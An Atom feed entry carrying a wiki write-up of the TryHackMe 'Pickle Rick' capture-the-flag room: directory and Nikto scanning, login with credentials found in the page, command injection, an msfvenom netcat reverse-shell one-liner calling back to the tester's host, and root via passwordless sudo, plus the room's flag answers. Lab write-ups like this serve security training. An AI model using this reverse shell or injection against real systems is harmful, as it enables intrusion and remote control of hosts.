<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FTHM%2FPickle_Rick</id>
	<title>Write-ups/THM/Pickle Rick - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FTHM%2FPickle_Rick"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/THM/Pickle_Rick&amp;action=history"/>
	<updated>2026-04-21T16:18:54Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/THM/Pickle_Rick&amp;diff=1140&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 23:10, 22 May 2021</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/THM/Pickle_Rick&amp;diff=1140&amp;oldid=prev"/>
		<updated>2021-05-22T23:10:33Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Pickle Rick&lt;br /&gt;
| platform = TryHackMe&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = Web Enumeration, Command Injection&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
This is a CTF on TryHackMe website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The task is that you will have to help Pickle Rick find 3 ingredients so he can turn himself back into a human.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When you deploy the machine you are presented with a website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-05-Skjermbilde-2021-05-23-kl.-00.34.40.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration stage ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first thing I like to do is look at the source code. We find a username: &amp;#039;&amp;#039;&amp;#039;R1ckRul3s&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-05-Skjermbilde-2021-05-23-kl.-00.44.29.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can look for any hidden directories. I like to use Gobuster for this task. The command I´ll use is:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
gobuster dir -u http://10.10.222.6 -w /usr/share/wordlists/dirb/common.txt -q&lt;br /&gt;
&lt;br /&gt;
/.hta (Status: 403)&lt;br /&gt;
/.htaccess (Status: 403)&lt;br /&gt;
/.htpasswd (Status: 403)&lt;br /&gt;
/assets (Status: 301)&lt;br /&gt;
/index.html (Status: 200)&lt;br /&gt;
/robots.txt (Status: 200)&lt;br /&gt;
/server-status (Status: 403)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /robots.txt we find something interesting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wubbalubbadubdub&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is smart to use other tools aswell, and not just rely on one. You can use photon, raccoon or Nikto for example. I will use Nikto with the command:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
nikto -h 10.10.222.6&lt;br /&gt;
&lt;br /&gt;
- Nikto v2.1.5&lt;br /&gt;
---------------------------------------------------------------------------&lt;br /&gt;
+ Target IP:          10.10.222.6&lt;br /&gt;
+ Target Hostname:    ip-10-10-222-6.eu-west-1.compute.internal&lt;br /&gt;
+ Target Port:        80&lt;br /&gt;
+ Start Time:         2021-05-22 23:49:17 (GMT1)&lt;br /&gt;
---------------------------------------------------------------------------&lt;br /&gt;
+ Server: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
+ Server leaks inodes via ETags, header found with file /, fields: 0x426 0x5818ccf125686&lt;br /&gt;
+ The anti-clickjacking X-Frame-Options header is not present.&lt;br /&gt;
+ No CGI Directories found (use &amp;#039;-C all&amp;#039; to force check all possible dirs)&lt;br /&gt;
+ &amp;quot;robots.txt&amp;quot; retrieved but it does not contain any &amp;#039;disallow&amp;#039; entries (which is odd).&lt;br /&gt;
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS&lt;br /&gt;
+ Cookie PHPSESSID created without the httponly flag&lt;br /&gt;
+ OSVDB-3233: /icons/README: Apache default file found.&lt;br /&gt;
+ /login.php: Admin login page/section found.&lt;br /&gt;
+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host&lt;br /&gt;
+ End Time:           2021-05-22 23:49:26 (GMT1) (9 seconds)&lt;br /&gt;
---------------------------------------------------------------------------&lt;br /&gt;
+ 1 host(s) tested&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We find an admin login page, /login.php.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-05-Skjermbilde-2021-05-23-kl.-00.54.26.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From previous enumeration we found the username, and from robots.txt we would assume that that would be the password.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After logging in, we are presented with this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gaining Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-05-Skjermbilde-2021-05-23-kl.-00.55.46.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The other tabs only says that: Only the real rick can enter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We will try out some commands, like ls.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-05-Skjermbilde-2021-05-23-kl.-00.57.24.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We found the first ingredient. Lets try and cat it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-05-Skjermbilde-2021-05-23-kl.-00.58.52.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
That dosent work. Iinstead I will try and create a reverse shell to the webserver instead.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can use msvenom to generate a revershell payload that we can try and run.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ip-10-10-235-26:~# msfvenom -p cmd/unix/reverse_netcat lhost=10.10.235.26 lport=4444 R&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: cmd from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 94 bytes&lt;br /&gt;
mkfifo /tmp/siank; nc 10.10.83.119 4444 0/tmp/siank 2&amp;gt;&amp;amp;1; rm /tmp/siank&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I will setup netcat so it listens to port 4444 and execute the command on the website. This will give me a reverse Shell, and I can try and read the files again.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ip-10-10-235-26:~# nc -lvnp 4444&lt;br /&gt;
Listening on [0.0.0.0] (family 0, port 4444)&lt;br /&gt;
Connection from 10.10.222.6 35688 received!@&lt;br /&gt;
ls&lt;br /&gt;
Sup3rS3cretPickl3Ingred.txt&lt;br /&gt;
assets&lt;br /&gt;
clue.txt&lt;br /&gt;
denied.php&lt;br /&gt;
index.html&lt;br /&gt;
login.php&lt;br /&gt;
portal.php&lt;br /&gt;
robots.txt&lt;br /&gt;
cat Sup3rS3cretPickl3Ingred.txt&lt;br /&gt;
mr. meeseek hair&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The clue says: Look around the file system for the other ingredient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cd home&lt;br /&gt;
ls&lt;br /&gt;
rick&lt;br /&gt;
ubuntu&lt;br /&gt;
cd rick&lt;br /&gt;
ls&lt;br /&gt;
second ingredients&lt;br /&gt;
cat second\\ ingredients&lt;br /&gt;
1 jerry tear&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can try and see if the user is in sudoers. There is no password for sudo, which is not good.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sudo su&lt;br /&gt;
su - root&lt;br /&gt;
mesg: ttyname failed: Inappropriate ioctl for device&lt;br /&gt;
whoami&lt;br /&gt;
root&lt;br /&gt;
cd /root&lt;br /&gt;
ls&lt;br /&gt;
3rd.txt&lt;br /&gt;
snap&lt;br /&gt;
cat 3rd.txt&lt;br /&gt;
3rd ingredients: fleeb juice&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:TryHackMe]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>